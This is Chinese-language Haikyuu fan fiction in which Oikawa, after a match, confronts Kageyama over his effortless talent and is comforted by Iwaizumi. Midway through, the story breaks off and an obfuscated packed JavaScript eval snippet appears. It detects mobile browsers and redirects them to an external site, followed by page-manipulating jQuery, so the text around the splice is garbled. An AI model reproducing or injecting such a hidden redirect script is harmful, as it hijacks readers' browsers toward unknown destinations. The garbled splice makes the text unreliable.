赛后的黄昏把空球场染成暖橙色，雪还没化尽，场边的长椅下积着薄薄一层，踩上去“咯吱”响。岩泉拎着雪之丘的橘色队服袋子往家走，刚拐过球场转角，就听见熟悉的声音——是及川彻，带着点压不住的沙哑，还有少年人特有的清亮嗓音，是影山飞雄。
他下意识躲在樟树后，透过枝桠看见场中央的两人：及川穿着北川一中的深蓝色队服，袖口卷到小臂，露出贴着浅灰色绷带的手腕，手里攥着个磨得球面发白的旧排球——那是他前几天跟岩泉一起练坏三个球后，特意找师傅补的，现在球缝里还卡着去年县赛的草屑。影山站在他对面，北川的蓝青色队服拉链没拉严，露出里面印着“排球”的白T恤，手里转着个新排球，指尖翻飞间，球像粘在他手上似的。
“及川前辈，你上次说的‘假动作传后三’，我今天在训练里试了，”影山突然停下转球的手，把球抛给及川，语气直白得没带一点拐弯，“传了三次就找到节奏了，主攻说比平时接得舒服。”
及川伸手接球的动作顿了半秒，球砸在他掌心时，他没像平时那样立刻抛回去，而是攥在手里，指腹反复蹭过球缝里的草屑。“哦，那挺好，”他的声音很轻，像被风吹得飘，“你天赋好，学什么都快。”
岩泉的心猛地一沉。他太熟悉及川这个语气了——上次及川练“低球快传”练到手腕肿成馒头，教练说“影山看一遍就会”时，及川也是这么说的，嘴角扯着笑，眼底却空得像没点灯。
影山没听出不对，还凑过去半步，指着及川的手腕：“前辈，你绷带松了，要不要我帮你缠？我妈教过我怎么缠护腕，不会勒得疼。”他抬手想碰及川的手腕，却被及川猛地往后躲，旧排球“啪嗒”掉在地上，滚到岩泉脚边。
“不用你管。”及川的声音突然冷了下来，橘色发梢垂在额前，遮住了眼睛，只有攥紧的拳头能看出他在忍——指节泛白，连手背的青筋都绷了起来，绷带边缘被扯得翘起来，露出下面没好全的红肿。
影山愣了愣，往后退了步，新排球在手里转得慢了：“前辈，我不是故意的……我只是觉得，你教我的技巧很有用，想帮你……”
“有用？”及川突然笑了，笑声里带着点发颤的尖锐，“你觉得有用，是因为你看一遍就会！我呢？我练‘假动作传后三’，练到手腕贴满膏药，改了11次传球角度，连做梦都在想‘怎么让主攻接得舒服’，你凭什么练三次就说‘找到节奏’？”
他往前走了两步，距离影山只有一臂远，呼吸急促得胸口起伏，眼底通红，是岩泉从没见过的模样——像被猎物逼到悬崖边的狼，明明慌得发抖，却还想竖起尖牙。影山被他的气势吓住，往后又退了步，新排球滚到地上，他想去捡，却被及川突然伸手攥住胳膊。
“你是不是觉得我很可笑？”及川的手指越攥越紧，影山的眉头皱了起来，却没敢挣，“拼尽全力练的东西，你随便学学就超过，那我这些年的练习，算什么？”
岩泉再也忍不住，从樟树后冲出去，一把抓住及川的手腕——他的手烫得吓人，绷带下的皮肤在发烫，攥着影山胳膊的手指因为用力，指节都泛了青。“及川彻！你松手！”
及川的身体僵住，像被按了暂停键，慢慢转头看过来。橘色发梢下的眼睛通红，眼泪挂在睫毛上，没掉下来，却把平时的漫不经心冲得一干二净，只剩下没藏住的崩溃。“小岩岩？”他的声音发颤，攥着影山的手松了松，却没完全放开，“我……我就是觉得不甘心……”
“不甘心也不能抓着他不放！”岩泉用力把他的手拉开，影山趁机往后退了两步，揉着被攥红的胳膊，眼神里带着点慌，还有点不解——他不懂为什么平时温和的及川前辈，会突然变成这样。
及川看着影山的样子，突然像被抽走了所有力气，往旁边的长椅倒去，手撑在椅面上时，碰倒了地上的旧排球。岩泉赶紧走过去，蹲在他面前，才看见他的眼泪终于掉了下来，砸在旧排球上，晕开小小的湿痕。
“我练了那么久……”及川的声音哽咽，像个受了委屈的小孩，“每天加练到球场锁门，手腕肿得握不住笔，改战术笔记改到眼睛疼，可他……他只要看一遍就会……”他抬手抹眼泪，却越抹越多，“我不是讨厌他……我是讨厌我自己……为什么我这么没用……”
岩泉没说话，只是伸手把他抱进怀里。及川的肩膀在发抖，头靠在岩泉的肩上，眼泪浸透了岩泉的队服领口，带着滚烫的温度。“他传球其实很稳……”及川的声音闷闷的，藏在岩泉的肩窝?，“比我第一次传后三的时候稳多了……我就是……就是不甘心……”
“我知道。”岩泉拍着他的背，指尖碰到他手腕上的绷带，想起上周深夜，他路过北川一中的球场，看见及川一个人在练传球——地上散着七八个旧排球，每个球上都有密密麻麻的指痕，及川的手腕缠着两层绷带，却还在反复抛球、传球，球偏了就捡起来再传，直到最后蹲在地上，肩膀发抖。
影山站在不远处，看着抱在一起的两人，慢慢走过去，捡起地上的新排球，又捡起那个旧排球，走到长椅边，轻轻放在及川脚边。“前辈，”他的声音放得很轻，“我不是想让你难过……我只是觉得，前辈教我的技巧，比我自己琢磨的好用多了……以后，我能不能跟你一起练？我可以帮你捡球。”
及川的身体顿了顿，从岩泉的肩上抬起头，眼睛红红的，却没再像刚才那样激动。他看着影山手里的旧排球，又看了看影山手腕上的护腕——那是去年及川送他的，说“练多了手腕会疼”，现在护腕边缘已经磨得毛了，影山却还戴着。
“不用……”及川的声音还有点哑，却没了刚才的尖锐，“你自己练吧……你的节奏比我好，不用跟我一起。”他顿了顿，又补充道，“下次传后三，记得给主攻留0.5秒调整时间，别传太急。”
影山愣了愣，随即点头，眼睛亮了点：“谢谢前辈！我记住了！”他把两个排球放在长椅上，又往后退了两步，“那我先走了，前辈你……你别太难过。”
影山走后，球场又安静下来，只剩下风吹过樟树的声音，还有及川偶尔的抽气声。岩泉从口袋里掏出瓶草莓牛奶——是早上日向塞给他的，说“岩泉哥要是遇到及川前辈，就给他喝，他上次说喜欢草莓味”，现在牛奶还带着点凉意，他拧开瓶盖，递到及川面前。
及川接过牛奶，喝了一口，冰凉的液体顺着喉咙滑下去，压下了喉咙里的哽咽。他看着手里的牛奶，又看了看岩泉，突然笑了，还是带着点自嘲的笑，却比刚才轻松了点：“你怎么还带着这个？”
“日向塞给我的，说你喜欢。”岩泉也笑了，伸手帮他把翘起来的绷带理好，“别跟自己较劲了，你已经很厉害了——影山有天赋，可你有的，是他现在还没有的东西。”
“什么东西？”及川挑眉，眼泪还挂在睫毛上，却没再掉。
“你知道怎么把球传到队友最舒服的地方，”岩泉看着他，语气认真，“你会记住每个主攻的习惯，哪怕是替补队员；你会熬夜改战术笔记，只为了让团队赢一分。这些不是天赋能比的。”
及川没说话，只是低头喝着牛奶，手指在牛奶瓶上轻轻蹭着。夕阳把两人的影子拉得很长，落在长椅下的雪地上，旧排球躺在旁边，球缝里的草屑被风吹得轻轻晃。
“这次县赛，你们雪之丘要是遇上北川，”及川突然开口，声音里没了刚才的崩溃，又带了点平时的漫不经心，“别被影山的快传吓到，他传快球前会先抿嘴，你让你们的拦网队员盯着他的嘴。”
岩泉笑了，点头：“知道了。下次遇上北川，我会扣出你接不住的球。”
及川也笑了，抬手拍了拍他的肩，手腕上的绷带蹭过岩泉的队服，留下浅浅的印子：“你就吹吧，小岩岩。”
夕阳渐渐沉下去，把天空染成深橙色。岩泉帮及川拎起放在长椅上的运动包，及川弯腰捡起那个旧排球，抱在怀里，像抱着什么宝贝。两人并肩往路口走，雪踩在脚下“咯吱”响，偶尔有晚归的飞鸟掠过天空，留下“淡淡的影子。
“其实……影山要是再稳一点，以后能比我厉害。”及川突然说，声音很轻，像怕被风吹走。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379567|184081||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
岩泉转头看他，褐色发梢在夕阳下泛着浅光，他的嘴角带着点浅浅的笑，不是敷衍，是真的认可。
“嗯，”岩泉点头，“但你也不差。”
岩泉的脚步顿了顿，雪粒从鞋底轻轻滑落，落在及川抱着的旧排球上，很快化了个小小的水痕。他转头看向及川，褐色发梢被夕阳染得泛着暖光，连平时总带着点漫不经心的眼神，此刻也因为刚哭过，显得软乎乎的。
“你不用跟影山比天赋，”岩泉的声音很稳，像平时训练时喊出的“准备”口号，却带着难得的认真，“在我见过的二传手里，你是最好的。”
及川的身体明显僵了一下，抱着旧排球的手紧了紧，球缝里的草屑被蹭得掉了两根。他侧过头，避开岩泉的目光，耳尖却悄悄红了，连声音都有点发飘：“你少哄我了，小岩岩。影山那小子传快球比我稳，找扣球点比我准，再过两年，县内没人会记得我这个‘没天赋’的二传。”
“我没哄你。”岩泉往前走了半步，站在及川面前，目光直直地落在他脸上，“你以为二传的厉害，就只有传得快、传得准吗？去年县赛，你们队的替补主攻第一次上场，紧张得连起跳都错了节奏，是谁蹲在他身边，用矿泉水瓶当排球，教他‘怎么找接球时机’，教到观众都散场？”
及川的喉结动了动，没说话，只是低头盯着旧排球上的磨痕——那是去年教替补时，反复用这个球练习，被指甲蹭出来的印子。
“还有上个月，你手腕肿得连筷子都握不住，却还在熬夜改战术笔记，”岩泉继续说，语气里带着点自己都没察觉的软，“笔记上记着每个对手的‘拦网习惯’，连‘对方队长扣球前会先抬右脚’这种细节都标得清清楚楚，你以为影山现在会注意这些吗？他只会传让自己舒服的球，而你，会传让整个团队都能赢的球。”
风又吹过球场，樟树的叶子沙沙响，把夕阳的光剪得碎碎的，落在及川的深蓝色队服上。他终于抬起头，眼睛里还带着点红，却没了之前的崩溃，只剩下点不敢相信的茫然：“真的……吗？”
“真的。”岩泉点头，伸手拍了拍他抱着排球的胳膊，“天赋能让一个人走得快，但只有像你这样，把每个细节都磨到极致，把团队放在心里的人，才能走得远。影山现在是厉害，但他还没学会‘怎么让队友更舒服’，没学会‘怎么在落后的时候，用一个传球稳住全队的士气’——这些，你早就做到了。”
及川看着岩泉认真的眼神，突然笑了，不是平时那种漫不经心的假笑，是带着点涩，却又很真实的笑。他抬手揉了揉眼睛，把没掉下来的眼泪蹭掉，又故意抬了抬下巴，装出平时的样子：“算你有点眼光。不过你可别告诉别人，不然我这个‘最好的二传’，下次输给白鸟泽？，脸就丢大了。”
“你不会输的。”岩泉也笑了，伸手帮他把被风吹乱的橘色发梢理了理，“不过就算输了也没关系，我会扣赢白鸟泽的其他人，让他们知道，我这个‘最好的二传’教出来的主攻，也不是吃素的。”
及川“嗤”了一声，却没反驳，只是抱着旧排球，往路口走了两步，又回头喊：“走了，小岩岩！再不走，雪下大了，你那个橘色队服袋子该被雪泡烂了！”
岩泉拎起地上的队服袋子，快步跟上去。两人并肩走在雪地上，脚步声“咯吱咯吱”的，和风吹树叶的声音混在一起，像一首慢慢的歌。
夕阳最后沉到了教学楼后面，把天空染成了深紫色。及川突然开口，声音很轻，像怕被风吹走：“小岩岩，下次县赛，咱们要是能遇上……你可不要害怕。”
岩泉侧过头，看见及川的嘴角扬着浅浅的笑，橘色发梢在暮色里泛着软光。他点头，声音里带着点自己都没察觉的笑意：“放心，我会的。到时候，让你这个‘最好的二传’，输的心服口服。”
及川没说话，只是抱着旧排球，脚步快了点，深蓝色的队服在暮色里，像一道稳稳的光。岩泉跟在他身后，看着两人的影子在雪地上慢慢叠在一起，心里突然觉得，比起“有天赋”的厉害，及川这种“拼尽全力”的厉害，才更让人记一辈子。